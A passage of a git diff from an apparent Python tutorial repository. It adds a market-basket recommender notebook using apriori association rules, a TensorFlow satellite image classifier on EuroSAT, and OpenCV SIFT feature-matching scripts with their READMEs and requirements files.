rotation='horizontal', fontsize=13) + +plt.show() + +# %% +# Day = 6 is Saturday.no orders placed +dataset1[dataset1['day']==6] + +# %% +# Using groupby to count no. of Invoices daywise +ax = dataset1.groupby('InvoiceNo')['day'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6)) +# Labelling X axis +ax.set_xlabel('Day',fontsize=15) +# Labelling Y axis +ax.set_ylabel('Number of Orders',fontsize=15) +# Giving suitable title to the plot +ax.set_title('Number of orders for different Days',fontsize=15) +# Providing with X tick labels +# Since there are no orders placed on Saturdays, we are excluding Sat from xticklabels +ax.set_xticklabels(('Mon','Tue','Wed','Thur','Fri','Sun'), rotation='horizontal', fontsize=15) + +plt.show() + +# %% +# Using groupby to count the no. of Invoices hourwise +ax = dataset1.groupby('InvoiceNo')['hour'].unique().value_counts().iloc[:-2].sort_index().plot(kind='bar',figsize=(15,6)) +# Labelling X axis +ax.set_xlabel('Hour',fontsize=15) +# Labelling Y axis +ax.set_ylabel('Number of Orders',fontsize=15) +# Giving suitable title to the plot +ax.set_title('Number of orders for different Hours', fontsize=15) +# Providing with X tick lables ( all orders are placed between 6 and 20 hour ) +ax.set_xticklabels(range(6,21), rotation='horizontal', fontsize=15) +plt.show() + +# %% +dataset1.UnitPrice.describe() + +# %% +# checking the distribution of unit price +plt.subplots(figsize=(12,6)) +# Using darkgrid style for better visualization +sns.set_style('darkgrid') +# Applying boxplot visualization on Unit Price +sns.boxplot(dataset1.UnitPrice) +plt.show() + +# %% +# Creating a new df of free items +freeproducts = dataset1[dataset1['UnitPrice'] == 0] +freeproducts.head() + +# %% +# Counting how many free items were given out year-month wise +freeproducts.year_month.value_counts().sort_index() + +# %% +# Counting how many free items were given out year-month wise +ax = freeproducts.year_month.value_counts().sort_index().plot(kind='bar',figsize=(12,6)) +# Labelling X-axis +ax.set_xlabel('Month',fontsize=15) +# Labelling Y-axis +ax.set_ylabel('Frequency',fontsize=15) +# Giving suitable title to the plot +ax.set_title('Frequency for different Months (Dec 2010 - Dec 2011)',fontsize=15) +# Providing X tick labels +# Since there are 0 free items in June 2011, we are excluding it +ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11'), rotation='horizontal', fontsize=13) +plt.show() + +# %% +plt.style.use('bmh') +# Using groupby to sum the amount spent year-month wise +ax = dataset1.groupby('year_month')['Amount'].sum().sort_index().plot(kind='bar',figsize=(15,6)) +# Labelling X axis +ax.set_xlabel('Month',fontsize=15) +# Labelling Y axis +ax.set_ylabel('Amount',fontsize=15) +# Giving suitable title to the plot +ax.set_title('Revenue Generated for different Months (Dec 2010 - Dec 2011)',fontsize=15) +# Providing with X tick labels +ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13) +plt.show() + +# %% +# Creating a new pivot table which sums the Quantity ordered for each item +most_sold= dataset1.pivot_table(index=['StockCode','Description'], values='Quantity', aggfunc='sum').sort_values(by='Quantity', ascending=False) +most_sold.reset_index(inplace=True) +sns.set_style('white') +# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of Quantity on the X axis +# We are plotting only the 10 most ordered items +sns.barplot(y='Description', x='Quantity', data=most_sold.head(10)) +# Giving suitable title to the plot +plt.title('Top 10 Items based on No. of Sales', fontsize=14) +plt.ylabel('Item') + +# %% +# choosing WHITE HANGING HEART T-LIGHT HOLDER as a sample +d_white = dataset1[dataset1['Description']=='WHITE HANGING HEART T-LIGHT HOLDER'] + +# %% +# WHITE HANGING HEART T-LIGHT HOLDER has been ordered 2028 times +d_white.shape + +# %% +# WHITE HANGING HEART T-LIGHT HOLDER has been ordered by 856 customers +len(d_white.CustomerID.unique()) + +# %% +# Creating a pivot table that displays the sum of unique Customers who bought particular item + +most_customers = dataset1.pivot_table(index=['StockCode','Description'], values='CustomerID', aggfunc=lambda x: len(x.unique())).sort_values(by='CustomerID', ascending=False) +most_customers +# Since the count for WHITE HANGING HEART T-LIGHT HOLDER matches above length 856, the pivot table looks correct for all items + +# %% +most_customers.reset_index(inplace=True) +sns.set_style('white') +# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of unique Customers on the X axis +# We are plotting only the 10 most bought items +sns.barplot(y='Description', x='CustomerID', data=most_customers.head(10)) +# Giving suitable title to the plot +plt.title('Top 10 Items bought by Most no. of Customers', fontsize=14) +plt.ylabel('Item') + +# %% +# Storing all the invoice numbers into a list y +y = dataset1['InvoiceNo'] +y = y.to_list() +# Using set function to find unique invoice numbers only and storing them in invoices list +invoices = list(set(y)) +# Creating empty list first_choices +firstchoices = [] +# looping into list of unique invoice numbers +for i in invoices: + + # the first item (index = 0) of every invoice is the first purchase + # extracting the item name for the first purchase + firstpurchase = dataset1[dataset1['InvoiceNo']==i]['items'].reset_index(drop=True)[0] + + # Appending the first purchase name into first choices list + firstchoices.append(firstpurchase) +firstchoices[:5] + +# %% +# Using counter to count repeating first choices +count = Counter(firstchoices) +# Storing the counter into a datafrane +data_first_choices = pd.DataFrame.from_dict(count, orient='index').reset_index() +# Rename columns as item and count +data_first_choices.rename(columns={'index':'item', 0:'count'},inplace=True) +# Sorting the data based on count +data_first_choices.sort_values(by='count',ascending=False) + +# %% +plt.subplots(figsize=(20,10)) +sns.set_style('white') +# Creating a bar plot that displays Item name on the Y axis and Count on the X axis +sns.barplot(y='item', x='count', data=data_first_choices.sort_values(by='count',ascending=False).head(10)) +# Giving suitable title to the plot +plt.title('Top 10 First Choices', fontsize=14) +plt.ylabel('Item') + +# %% +basket = (dataset1.groupby(['InvoiceNo', 'Description'])['Quantity'].sum().unstack().reset_index().fillna(0).set_index('InvoiceNo')) +basket.head(10) + +# %% +def encode_u(x): + if x < 1: + return 0 + if x >= 1: + return 1 + +basket = basket.applymap(encode_u) +# everything is encoded into 0 and 1 +basket.head(10) + +# %% +# trying out on a sample item +wooden_star = basket.loc[basket['WOODEN STAR CHRISTMAS SCANDINAVIAN']==1] +# Using apriori algorithm, creating association rules for the sample item +# Applying apriori algorithm for wooden_star +frequentitemsets = apriori(wooden_star, min_support=0.15, use_colnames=True) +# Storing the association rules into rules +wooden_star_rules = association_rules(frequentitemsets, metric="lift", min_threshold=1) +# Sorting the rules on lift and support +wooden_star_rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True) + +# %% +# In other words, it returns the items which are likely to be bought by user because he bought the item passed into function +def frequently_bought_t(item): + # df of item passed + item_d = basket.loc[basket[item]==1] + # Applying apriori algorithm on item df + frequentitemsets = apriori(item_d, min_support=0.15, use_colnames=True) + # Storing association rules + rules = association_rules(frequentitemsets, metric="lift", min_threshold=1) + # Sorting on lift and support + rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True) + print('Items frequently bought together with {0}'.format(item)) + # Returning top 6 items with highest lift and support + return rules['consequents'].unique()[:6] + +# %% +frequently_bought_t('WOODEN STAR CHRISTMAS SCANDINAVIAN') + +# %% +frequently_bought_t('JAM MAKING SET WITH JARS') + +# %% + + + diff --git a/machine-learning/recommender-system-using-association-rules/requirements.txt b/machine-learning/recommender-system-using-association-rules/requirements.txt new file mode 100644 index 00000000..7528beee --- /dev/null +++ b/machine-learning/recommender-system-using-association-rules/requirements.txt @@ -0,0 +1,7 @@ +pandas==1.1.5 +mlxtend==0.14.0 +numpy==1.19.5 +seaborn==0.11.1 +matplotlib==3.2.2 +matplotlib-inline==0.1.3 +openpyxl \ No newline at end of file diff --git a/machine-learning/satellite-image-classification/README.md b/machine-learning/satellite-image-classification/README.md new file mode 100644 index 00000000..0930a856 --- /dev/null +++ b/machine-learning/satellite-image-classification/README.md @@ -0,0 +1,4 @@ +# [Satellite Image Classification using TensorFlow in Python](https://www.thepythoncode.com/article/satellite-image-classification-using-tensorflow-python) + +To run this: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/machine-learning/satellite-image-classification/Satellite_Image_Classification_with_TensorFlow_PythonCode.ipynb b/machine-learning/satellite-image-classification/Satellite_Image_Classification_with_TensorFlow_PythonCode.ipynb new file mode 100644 index 00000000..d3eab9a3 --- /dev/null +++ b/machine-learning/satellite-image-classification/Satellite_Image_Classification_with_TensorFlow_PythonCode.ipynb @@ -0,0 +1,482 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "siBWl3-lEd8x", + "outputId": "77a7acbf-6f53-4c5c-e713-9968f8b561b8" + }, + "outputs": [], + "source": [ + "!pip install tensorflow tensorflow_addons tensorflow_datasets tensorflow_hub numpy matplotlib seaborn" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "HHEXVxQw_g5B" + }, + "outputs": [], + "source": [ + "import os\n", + "\n", + "import numpy as np\n", + "import matplotlib.pyplot as plt\n", + "import seaborn as sns\n", + "import tensorflow as tf\n", + "import tensorflow_datasets as tfds\n", + "import tensorflow_hub as hub\n", + "import tensorflow_addons as tfa" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "dgKI5S4DC31Z" + }, + "outputs": [], + "source": [ + "# load the whole dataset, for data info\n", + "all_ds = tfds.load(\"eurosat\", with_info=True)\n", + "# load training, testing & validation sets, splitting by 60%, 20% and 20% respectively\n", + "train_ds = tfds.load(\"eurosat\", split=\"train[:60%]\")\n", + "test_ds = tfds.load(\"eurosat\", split=\"train[60%:80%]\")\n", + "valid_ds = tfds.load(\"eurosat\", split=\"train[80%:]\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "AcBsiqtBcwwF" + }, + "outputs": [], + "source": [ + "# the class names\n", + "class_names = all_ds[1].features[\"label\"].names\n", + "# total number of classes (10)\n", + "num_classes = len(class_names)\n", + "num_examples = all_ds[1].splits[\"train\"].num_examples" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 621 + }, + "id": "MjrKwojyo-kE", + "outputId": "c8ef6c03-9035-4785-d236-c9c104412e34" + }, + "outputs": [], + "source": [ + "# make a plot for number of samples on each class\n", + "fig, ax = plt.subplots(1, 1, figsize=(14,10))\n", + "labels, counts = np.unique(np.fromiter(all_ds[0][\"train\"].map(lambda x: x[\"label\"]), np.int32), \n", + " return_counts=True)\n", + "\n", + "plt.ylabel('Counts')\n", + "plt.xlabel('Labels')\n", + "sns.barplot(x = [class_names[l] for l in labels], y = counts, ax=ax) \n", + "for i, x_ in enumerate(labels):\n", + " ax.text(x_-0.2, counts[i]+5, counts[i])\n", + "# set the title\n", + "ax.set_title(\"Bar Plot showing Number of Samples on Each Class\")\n", + "# save the image\n", + "# plt.savefig(\"class_samples.png\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "g60GgX9hEPBc" + }, + "outputs": [], + "source": [ + "def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):\n", + " if cache:\n", + " if isinstance(cache, str):\n", + " ds = ds.cache(cache)\n", + " else:\n", + " ds = ds.cache()\n", + " ds = ds.map(lambda d: (d[\"image\"], tf.one_hot(d[\"label\"], num_classes)))\n", + " # shuffle the dataset\n", + " ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n", + " # Repeat forever\n", + " ds = ds.repeat()\n", + " # split to batches\n", + " ds = ds.batch(batch_size)\n", + " # `prefetch` lets the dataset fetch batches in the background while the model\n", + " # is training.\n", + " ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n", + " return ds" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "TP_CGr3kNw0c" + }, + "outputs": [], + "source": [ + "batch_size = 64\n", + "\n", + "# preprocess training & validation sets\n", + "train_ds = prepare_for_training(train_ds, batch_size=batch_size)\n", + "valid_ds = prepare_for_training(valid_ds, batch_size=batch_size)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "vP-ioWj9e37z", + "outputId": "2b455894-72e9-4771-905c-5b58701d3a98" + }, + "outputs": [], + "source": [ + "# validating shapes\n", + "for el in valid_ds.take(1):\n", + " print(el[0].shape, el[1].shape)\n", + "for el in train_ds.take(1):\n", + " print(el[0].shape, el[1].shape) " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "cIW7hbHhOVq0" + }, + "outputs": [], + "source": [ + "# take the first batch of the training set\n", + "batch = next(iter(train_ds))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473 + }, + "id": "TNRbCVp6Na1A", + "outputId": "412e7412-86f9-467d-d88d-eaa9fd12600a" + }, + "outputs": [], + "source": [ + "def show_batch(batch):\n", + " plt.figure(figsize=(16, 16))\n", + " for n in range(min(32, batch_size)):\n", + " ax = plt.subplot(batch_size//8, 8, n + 1)\n", + " # show the image\n", + " plt.imshow(batch[0][n])\n", + " # and put the corresponding label as title upper to the image\n", + " plt.title(class_names[tf.argmax(batch[1][n].numpy())])\n", + " plt.axis('off')\n", + " plt.savefig(\"sample-images.png\")\n", + "\n", + "# showing a batch of images along with labels\n", + "show_batch(batch)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "JMVzjuqmoOcB" + }, + "outputs": [], + "source": [ + "model_url = \"https://tfhub.dev/google/imagenet/efficientnet_v2_imagenet1k_l/feature_vector/2/"\n", + "\n", + "# download & load the layer as a feature vector\n", + "keras_layer = hub.KerasLayer(model_url, output_shape=[1280], trainable=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "uhKLvFpkfiCr" + }, + "outputs": [], + "source": [ + "m = tf.keras.Sequential([\n", + " keras_layer,\n", + " tf.keras.layers.Dense(num_classes, activation=\"softmax\")\n", + "])\n", + "# build the model with input image shape as (64, 64, 3)\n", + "m.build([None, 64, 64, 3])\n", + "m.compile(\n", + " loss=\"categorical_crossentropy\", \n", + " optimizer=\"adam\", \n", + " metrics=[\"accuracy\", tfa.metrics.F1Score(num_classes)]\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "-QMzJ4-fhD-B", + "outputId": "e9101d76-e18c-42e6-b27c-08c1e037f81a" + }, + "outputs": [], + "source": [ + "m.summary()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "I0vYaHjPhUDF" + }, + "outputs": [], + "source": [ + "model_name = \"satellite-classification\"\n", + "model_path = os.path.join(\"results\", model_name + \".h5\")\n", + "model_checkpoint = tf.keras.callbacks.ModelCheckpoint(model_path, save_best_only=True, verbose=1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "IP93lr9DdH9J" + }, + "outputs": [], + "source": [ + "n_training_steps = int(num_examples * 0.6) // batch_size\n", + "n_validation_steps = int(num_examples * 0.2) // batch_size" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "mUp9ocf-hnlC", + "outputId": "7f372750-7fa9-4dad-8286-bb324ff56219" + }, + "outputs": [], + "source": [ + "history = m.fit(\n", + " train_ds, validation_data=valid_ds,\n", + " steps_per_epoch=n_training_steps,\n", + " validation_steps=n_validation_steps,\n", + " verbose=1, epochs=5, \n", + " callbacks=[model_checkpoint]\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9kjuwUEEXWQ5" + }, + "outputs": [], + "source": [ + "# number of testing steps\n", + "n_testing_steps = int(all_ds[1].splits[\"train\"].num_examples * 0.2)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "6U_pHoLGKj-f" + }, + "outputs": [], + "source": [ + "m.load_weights(model_path)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "JWL3NBXfXhTQ", + "outputId": "2786d6a0-af1f-47ae-9927-a495100989cc" + }, + "outputs": [], + "source": [ + "# get all testing images as NumPy array\n", + "images = np.array([ d[\"image\"] for d in test_ds.take(n_testing_steps) ])\n", + "print(\"images.shape:\", images.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "sgq55TrQVtr3", + "outputId": "f4c51aaa-8229-444f-ee76-1d9385b94f3e" + }, + "outputs": [], + "source": [ + "# get all testing labels as NumPy array\n", + "labels = np.array([ d[\"label\"] for d in test_ds.take(n_testing_steps) ])\n", + "print(\"labels.shape:\", labels.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "5UbOsNtmXDqR", + "outputId": "a8a5d860-b570-4639-fcf4-36b56db97421" + }, + "outputs": [], + "source": [ + "# feed the images to get predictions\n", + "predictions = m.predict(images)\n", + "# perform argmax to get class index\n", + "predictions = np.argmax(predictions, axis=1)\n", + "print(\"predictions.shape:\", predictions.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "GX-GkI9Gy1hS", + "outputId": "5ecd1703-093c-4cb8-a8fa-2111e7fb670b" + }, + "outputs": [], + "source": [ + "from sklearn.metrics import f1_score\n", + "\n", + "accuracy = tf.keras.metrics.Accuracy()\n", + "accuracy.update_state(labels, predictions)\n", + "print(\"Accuracy:\", accuracy.result().numpy())\n", + "print(\"F1 Score:\", f1_score(labels, predictions, average=\"macro\"))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 736 + }, + "id": "yszXAmfdVcOA", + "outputId": "56bb4353-4c37-405d-fc18-9f17e19a8c71" + }, + "outputs": [], + "source": [ + "# compute the confusion matrix\n", + "cmn = tf.math.confusion_matrix(labels, predictions).numpy()\n", + "# normalize the matrix to be in percentages\n", + "cmn = cmn.astype('float') / cmn.sum(axis=0)[:, np.newaxis]\n", + "# make a plot for the confusion matrix\n", + "fig, ax = plt.subplots(figsize=(10,10))\n", + "sns.heatmap(cmn, annot=True, fmt='.2f', \n", + " xticklabels=[f\"pred_{c}\" for c in class_names], \n", + " yticklabels=[f\"true_{c}\" for c in class_names],\n", + " # cmap=\"Blues\"\n", + " cmap=\"rocket_r\"\n", + " )\n", + "plt.ylabel('Actual')\n", + "plt.xlabel('Predicted')\n", + "# plot the resulting confusion matrix\n", + "plt.savefig(\"confusion-matrix.png\")\n", + "# plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 808 + }, + "id": "txdBO11IbF8e", + "outputId": "5de1a7a1-1039-475a-8bfa-3e02a4e984a1" + }, + "outputs": [], + "source": [ + "def show_predicted_samples():\n", + " plt.figure(figsize=(14, 14))\n", + " for n in range(64):\n", + " ax = plt.subplot(8, 8, n + 1)\n", + " # show the image\n", + " plt.imshow(images[n])\n", + " # and put the corresponding label as title upper to the image\n", + " if predictions[n] == labels[n]:\n", + " # correct prediction\n", + " ax.set_title(class_names[predictions[n]], color=\"green\")\n", + " else:\n", + " # wrong prediction\n", + " ax.set_title(f\"{class_names[predictions[n]]}/T:{class_names[labels[n]]}\", color=\"red\")\n", + " plt.axis('off')\n", + " plt.savefig(\"predicted-sample-images.png\")\n", + "\n", + "# showing a batch of images along with predictions labels\n", + "show_predicted_samples()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "xgd0y1Ul5aQi" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "collapsed_sections": [], + "name": "Satellite-Image-Classification-with-TensorFlow_PythonCode.ipynb", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/satellite-image-classification/requirements.txt b/machine-learning/satellite-image-classification/requirements.txt new file mode 100644 index 00000000..107485ff --- /dev/null +++ b/machine-learning/satellite-image-classification/requirements.txt @@ -0,0 +1,8 @@ +tensorflow +tensorflow_addons +tensorflow_datasets +tensorflow_hub +numpy +matplotlib +seaborn +sklearn \ No newline at end of file diff --git a/machine-learning/satellite-image-classification/satellite_image_classification_with_tensorflow_pythoncode.py b/machine-learning/satellite-image-classification/satellite_image_classification_with_tensorflow_pythoncode.py new file mode 100644 index 00000000..f306a8c6 --- /dev/null +++ b/machine-learning/satellite-image-classification/satellite_image_classification_with_tensorflow_pythoncode.py @@ -0,0 +1,193 @@ +# -*- coding: utf-8 -*- +"""Satellite-Image-Classification-with-TensorFlow_PythonCode.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1SVpaW9HSebpHNYf6LXTm7elnHOSdQA5i +""" + +!pip install tensorflow tensorflow_addons tensorflow_datasets tensorflow_hub numpy matplotlib seaborn + +import os + +import numpy as np +import matplotlib.pyplot as plt +import seaborn as sns +import tensorflow as tf +import tensorflow_datasets as tfds +import tensorflow_hub as hub +import tensorflow_addons as tfa + +# load the whole dataset, for data info +all_ds = tfds.load("eurosat", with_info=True) +# load training, testing & validation sets, splitting by 60%, 20% and 20% respectively +train_ds = tfds.load("eurosat", split="train[:60%]") +test_ds = tfds.load("eurosat", split="train[60%:80%]") +valid_ds = tfds.load("eurosat", split="train[80%:]") + +# the class names +class_names = all_ds[1].features["label"].names +# total number of classes (10) +num_classes = len(class_names) +num_examples = all_ds[1].splits["train"].num_examples + +# make a plot for number of samples on each class +fig, ax = plt.subplots(1, 1, figsize=(14,10)) +labels, counts = np.unique(np.fromiter(all_ds[0]["train"].map(lambda x: x["label"]), np.int32), + return_counts=True) + +plt.ylabel('Counts') +plt.xlabel('Labels') +sns.barplot(x = [class_names[l] for l in labels], y = counts, ax=ax) +for i, x_ in enumerate(labels): + ax.text(x_-0.2, counts[i]+5, counts[i]) +# set the title +ax.set_title("Bar Plot showing Number of Samples on Each Class") +# save the image +# plt.savefig("class_samples.png") + +def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000): + if cache: + if isinstance(cache, str): + ds = ds.cache(cache) + else: + ds = ds.cache() + ds = ds.map(lambda d: (d["image"], tf.one_hot(d["label"], num_classes))) + # shuffle the dataset + ds = ds.shuffle(buffer_size=shuffle_buffer_size) + # Repeat forever + ds = ds.repeat() + # split to batches + ds = ds.batch(batch_size) + # `prefetch` lets the dataset fetch batches in the background while the model + # is training. + ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE) + return ds + +batch_size = 64 + +# preprocess training & validation sets +train_ds = prepare_for_training(train_ds, batch_size=batch_size) +valid_ds = prepare_for_training(valid_ds, batch_size=batch_size) + +# validating shapes +for el in valid_ds.take(1): + print(el[0].shape, el[1].shape) +for el in train_ds.take(1): + print(el[0].shape, el[1].shape) + +# take the first batch of the training set +batch = next(iter(train_ds)) + +def show_batch(batch): + plt.figure(figsize=(16, 16)) + for n in range(min(32, batch_size)): + ax = plt.subplot(batch_size//8, 8, n + 1) + # show the image + plt.imshow(batch[0][n]) + # and put the corresponding label as title upper to the image + plt.title(class_names[tf.argmax(batch[1][n].numpy())]) + plt.axis('off') + plt.savefig("sample-images.png") + +# showing a batch of images along with labels +show_batch(batch) + +model_url = "https://tfhub.dev/google/imagenet/efficientnet_v2_imagenet1k_l/feature_vector/2" + +# download & load the layer as a feature vector +keras_layer = hub.KerasLayer(model_url, output_shape=[1280], trainable=True) + +m = tf.keras.Sequential([ + keras_layer, + tf.keras.layers.Dense(num_classes, activation="softmax") +]) +# build the model with input image shape as (64, 64, 3) +m.build([None, 64, 64, 3]) +m.compile( + loss="categorical_crossentropy", + optimizer="adam", + metrics=["accuracy", tfa.metrics.F1Score(num_classes)] +) + +m.summary() + +model_name = "satellite-classification" +model_path = os.path.join("results", model_name + ".h5") +model_checkpoint = tf.keras.callbacks.ModelCheckpoint(model_path, save_best_only=True, verbose=1) + +n_training_steps = int(num_examples * 0.6) // batch_size +n_validation_steps = int(num_examples * 0.2) // batch_size + +history = m.fit( + train_ds, validation_data=valid_ds, + steps_per_epoch=n_training_steps, + validation_steps=n_validation_steps, + verbose=1, epochs=5, + callbacks=[model_checkpoint] +) + +# number of testing steps +n_testing_steps = int(all_ds[1].splits["train"].num_examples * 0.2) + +m.load_weights(model_path) + +# get all testing images as NumPy array +images = np.array([ d["image"] for d in test_ds.take(n_testing_steps) ]) +print("images.shape:", images.shape) + +# get all testing labels as NumPy array +labels = np.array([ d["label"] for d in test_ds.take(n_testing_steps) ]) +print("labels.shape:", labels.shape) + +# feed the images to get predictions +predictions = m.predict(images) +# perform argmax to get class index +predictions = np.argmax(predictions, axis=1) +print("predictions.shape:", predictions.shape) + +from sklearn.metrics import f1_score + +accuracy = tf.keras.metrics.Accuracy() +accuracy.update_state(labels, predictions) +print("Accuracy:", accuracy.result().numpy()) +print("F1 Score:", f1_score(labels, predictions, average="macro")) + +# compute the confusion matrix +cmn = tf.math.confusion_matrix(labels, predictions).numpy() +# normalize the matrix to be in percentages +cmn = cmn.astype('float') / cmn.sum(axis=0)[:, np.newaxis] +# make a plot for the confusion matrix +fig, ax = plt.subplots(figsize=(10,10)) +sns.heatmap(cmn, annot=True, fmt='.2f', + xticklabels=[f"pred_{c}" for c in class_names], + yticklabels=[f"true_{c}" for c in class_names], + # cmap="Blues" + cmap="rocket_r" + ) +plt.ylabel('Actual') +plt.xlabel('Predicted') +# plot the resulting confusion matrix +plt.savefig("confusion-matrix.png") +# plt.show() + +def show_predicted_samples(): + plt.figure(figsize=(14, 14)) + for n in range(64): + ax = plt.subplot(8, 8, n + 1) + # show the image + plt.imshow(images[n]) + # and put the corresponding label as title upper to the image + if predictions[n] == labels[n]: + # correct prediction + ax.set_title(class_names[predictions[n]], color="green") + else: + # wrong prediction + ax.set_title(f"{class_names[predictions[n]]}/T:{class_names[labels[n]]}", color="red") + plt.axis('off') + plt.savefig("predicted-sample-images.png") + +# showing a batch of images along with predictions labels +show_predicted_samples() + diff --git a/machine-learning/sift/README.md b/machine-learning/sift/README.md new file mode 100644 index 00000000..53de9ee9 --- /dev/null +++ b/machine-learning/sift/README.md @@ -0,0 +1,5 @@ +# [SIFT Feature Extraction using OpenCV in Python](https://www.thepythoncode.com/article/sift-feature-extraction-using-opencv-in-python) +To run this: +- `pip3 install -r requirements.txt` +- For feature keypoints extraction, use `sift.py` +- For feature matching, use `feature_match.py` \ No newline at end of file diff --git a/machine-learning/sift/book.jpg b/machine-learning/sift/book.jpg new file mode 100644 index 00000000..4aaff923 Binary files /dev/null and b/machine-learning/sift/book.jpg differ diff --git a/machine-learning/sift/feature_match.py b/machine-learning/sift/feature_match.py new file mode 100644 index 00000000..dd1f993e --- /dev/null +++ b/machine-learning/sift/feature_match.py @@ -0,0 +1,29 @@ +import cv2 + +# read the images +img1 = cv2.imread('book.jpg') +img2 = cv2.imread('table.jpg') + +# convert images to grayscale +img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY) +img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY) + +# create SIFT object +sift = cv2.xfeatures2d.SIFT_create() +# detect SIFT features in both images +keypoints_1, descriptors_1 = sift.detectAndCompute(img1,None) +keypoints_2, descriptors_2 = sift.detectAndCompute(img2,None) +# create feature matcher +bf = cv2.BFMatcher(cv2.NORM_L1, crossCheck=True) +# match descriptors of both images +matches = bf.match(descriptors_1,descriptors_2) +# sort matches by distance +matches = sorted(matches, key = lambda x:x.distance) +# draw first 50 matches +matched_img = cv2.drawMatches(img1, keypoints_1, img2, keypoints_2, matches[:50], img2, flags=2) +# show the image +cv2.imshow('image', matched_img) +# save the image +cv2.imwrite("matched_images.jpg", matched_img) +cv2.waitKey(0) +cv2.destroyAllWindows() \ No newline at end of file diff --git a/machine-learning/sift/matched_images.jpg b/machine-learning/sift/matched_images.jpg new file mode 100644 index 00000000..d762ef66 Binary files /dev/null and b/machine-learning/sift/matched_images.jpg differ diff --git a/machine-learning/sift/requirements.txt b/machine-learning/sift/requirements.txt new file mode 100644 index 00000000..ba61942c --- /dev/null +++ b/machine-learning/sift/requirements.txt @@ -0,0 +1,3 @@ +opencv-contrib-python==3.4.2.16 +opencv-python==3.4.2.16 +numpy \ No newline at end of file diff --git a/machine-learning/sift/sift.py b/machine-learning/sift/sift.py new file mode 100644 index 00000000..ceb5aeed --- /dev/null +++ b/machine-learning/sift/sift.py @@ -0,0 +1,18 @@ +import cv2 + +# reading the image +img = cv2.imread('table.jpg') +# convert to greyscale +gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) +# create SIFT feature extractor +sift = cv2.xfeatures2d.SIFT_create() +# detect features from the image +keypoints, descriptors = sift.detectAndCompute(img, None) +# draw the detected key points +sift_image = cv2.drawKeypoints(gray, keypoints, img) +# show the image +cv2.imshow('image', sift_image) +# save the image +cv2.imwrite("table-sift.jpg", sift_image) +cv2.waitKey(0) +cv2.destroyAllWindows() diff --git a/machine-learning/sift/table-sift.jpg b/machine-learning/sift/table-sift.jpg new file mode 100644 index 00000000..4d1b4deb Binary files /dev/null and b/machine-learning/sift/table-sift.jpg differ diff --git a/machine-learning/sift/table.jpg b/machine-learning/sift/table.jpg new file mode 100644 index 00000000..91401dcf Binary files /dev/null and b/machine-learning/sift/table.jpg differ diff --git a/machine-learning/skin-cancer-detection/README.md 